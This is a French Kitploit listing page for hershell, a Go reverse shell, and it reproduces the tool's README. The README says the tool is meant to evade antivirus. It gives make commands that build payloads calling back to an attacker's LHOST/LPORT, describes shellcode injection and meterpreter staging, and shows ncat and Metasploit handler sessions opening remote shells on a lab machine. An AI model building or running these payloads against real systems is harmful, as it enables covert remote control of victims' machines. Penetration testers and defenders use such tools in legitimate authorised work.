Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hershell — Hershell est un simple reverse shell TCP écrit en Go. | Kitploit
Outils/GitHubGitHub/sysdream/hershell
Génération de PayloadsExploitationShellcodePost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubsysdream/hershell

hershell

Hershell est un simple reverse shell TCP écrit en Go.

Voir le dépôt
52986il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Hershell

NOTE : le projet a été forké sur ce dépôt, vérifiez-y les autres développements.

Hershell est un reverse shell TCP simple écrit en Go.

Il utilise TLS pour sécuriser les communications et fournit une fonction d'ancrage de l'empreinte de la clé publique du certificat, empêchant l'interception du trafic.

Les systèmes d'exploitation pris en charge sont :

  • Windows
  • Linux
  • Mac OS
  • FreeBSD et ses dérivés

Pourquoi ?

Bien que les payloads meterpreter soient excellents, ils sont parfois détectés par les produits antivirus.

L'objectif de ce projet est d'obtenir un reverse shell simple, pouvant fonctionner sur plusieurs systèmes.

Comment ?

Étant écrit en Go, vous pouvez compiler le code source de manière croisée pour l'architecture souhaitée.

Prise en main et dépendances

Comme il s'agit d'un projet Go, vous devrez suivre la documentation officielle pour configurer votre environnement Golang (avec la variable d'environnement $GOPATH).

Ensuite, exécutez simplement go get github.com/sysdream/hershell pour récupérer le projet.

Construction du payload

Pour simplifier les choses, vous pouvez utiliser le Makefile fourni. Vous pouvez définir les variables d'environnement suivantes :

  • GOOS : le système d'exploitation cible
  • GOARCH : l'architecture cible
  • LHOST : l'adresse IP ou le nom de domaine de l'attaquant
  • LPORT : le port d'écoute

Pour les variables GOOS et GOARCH, vous pouvez obtenir les valeurs autorisées ici.

Cependant, quelques cibles d'aide sont disponibles dans le Makefile :

  • depends : génère le certificat serveur (nécessaire pour le reverse shell)
  • windows32 : construit un exécutable Windows 32 bits (PE 32 bits)
  • windows64 : construit un exécutable Windows 64 bits (PE 64 bits)
  • linux32 : construit un exécutable Linux 32 bits (ELF 32 bits)
  • linux64 : construit un exécutable Linux 64 bits (ELF 64 bits)
  • macos32 : construit un exécutable Mac OS 32 bits (Mach-O)
  • macos64 : construit un exécutable Mac OS 64 bits (Mach-O)

Pour ces cibles, il vous suffit de définir les variables d'environnement LHOST et LPORT.

Utilisation du shell

Une fois exécuté, vous obtiendrez un shell distant. Ce shell interactif personnalisé vous permettra d'exécuter des commandes système via cmd.exe sur Windows, ou /bin/sh sur les machines UNIX.

Les commandes spéciales suivantes sont prises en charge :

  • run_shell : vous donne un shell système (vous permettant, par exemple, de changer de répertoire)
  • inject <base64 shellcode> : injecte un shellcode (encodé en base64) dans la mémoire du même processus, et l'exécute (Windows uniquement pour le moment).
  • meterpreter [tcp|http|https] IP:PORT : se connecte à un multi/handler pour obtenir un meterpreter stage2 reverse tcp, http ou https depuis metasploit, et exécute le shellcode en mémoire (Windows uniquement pour le moment)
  • exit : quitte proprement

Utilisation

Tout d'abord, vous devrez générer un certificat valide :

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Pour Windows :

root@kitploit:~
# Cible 32 bits prédéfinie
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Cible 64 bits prédéfinie
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Pour Linux :

root@kitploit:~
# Cible 32 bits prédéfinie
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Cible 64 bits prédéfinie
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Pour Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Exemples

Utilisation basique

On peut utiliser divers outils pour gérer les connexions entrantes, tels que :

  • socat
  • ncat
  • le module serveur openssl
  • le multi handler de metasploit (avec un payload python/shell_reverse_tcp_ssl)

Voici un exemple avec ncat :

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Mise en scène Meterpreter

ATTENTION : cela ne fonctionne actuellement que pour la plateforme Windows.

La mise en scène meterpreter prend actuellement en charge les payloads suivants :

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Pour utiliser le bon, spécifiez simplement le transport que vous souhaitez utiliser (tcp, http, https)

Pour utiliser la fonction de mise en scène meterpreter, démarrez simplement votre handler :

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Ensuite, dans hershell, utilisez la commande meterpreter :

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Une nouvelle session meterpreter devrait apparaître dans msfconsole :

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Crédits

Ronan Kervella <r.kervella -at- sysdream -dot- com>

Télécharger l’outil